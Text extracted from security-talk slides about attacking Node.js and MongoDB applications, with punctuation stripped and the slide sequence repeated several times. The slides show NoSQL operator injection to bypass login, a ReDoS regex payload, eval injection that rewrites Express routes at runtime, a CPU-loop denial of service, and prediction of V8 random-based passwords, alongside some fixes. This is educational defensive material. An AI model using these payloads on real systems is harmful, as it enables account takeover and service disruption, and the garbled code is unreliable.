FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Event Loop
Event Queue
Event Loop
(Single thread)
File System
Database
Network
Register Callback
Operation Complete
Trigger Callback
httpstackoverflowcomquestions21596172what-function-gets-put-into-eventloop-in-nodejs-and-js
Architecture
Nodejs is Event-driven single-threaded and non-blocking IO
bull No multi-threading context switching
bull CPU doesnrsquot wait for IO to finish so works great for IO intensive
applications (DB queries) and applications with a lot of user interaction
(web apps)
bull Doesnrsquot work well for CPU intensive applications
bull Once your code finishes its current operation the event-loop fetches
the next event with its associated callback function
DoS
Function sum (p)
for (i=1ilt=p++i)
f=f+i
This makes nodejs highly vulnerable to DoS
httplocalhost49090sump=5
httplocalhost49090sump=100000000
httplocalhost49090sump=5
Nodejs as a web server
There is no hosting web server (IIS Tomcat etchellip) Your code is
responsible for handling the incoming requests
No separation between the web-servicing part and the business
logic part
All run within the same thread within the same context
Nodejs as a web server
var http = require(http)
var server = httpcreateServer(function(req res)
switch (reqmethod)
case POST
var item =
reqon(data function(chunk)
item += chunk
)
reqon(end function()
resend(OKn)
)
break
case GET
)
serverlisten(3000)
V8rsquos default PRNG
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Architecture
Nodejs is Event-driven single-threaded and non-blocking IO
bull No multi-threading context switching
bull CPU doesnrsquot wait for IO to finish so works great for IO intensive
applications (DB queries) and applications with a lot of user interaction
(web apps)
bull Doesnrsquot work well for CPU intensive applications
bull Once your code finishes its current operation the event-loop fetches
the next event with its associated callback function
DoS
Function sum (p)
for (i=1ilt=p++i)
f=f+i
This makes nodejs highly vulnerable to DoS
httplocalhost49090sump=5
httplocalhost49090sump=100000000
httplocalhost49090sump=5
Nodejs as a web server
There is no hosting web server (IIS Tomcat etchellip) Your code is
responsible for handling the incoming requests
No separation between the web-servicing part and the business
logic part
All run within the same thread within the same context
Nodejs as a web server
var http = require(http)
var server = httpcreateServer(function(req res)
switch (reqmethod)
case POST
var item =
reqon(data function(chunk)
item += chunk
)
reqon(end function()
resend(OKn)
)
break
case GET
)
serverlisten(3000)
V8rsquos default PRNG
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
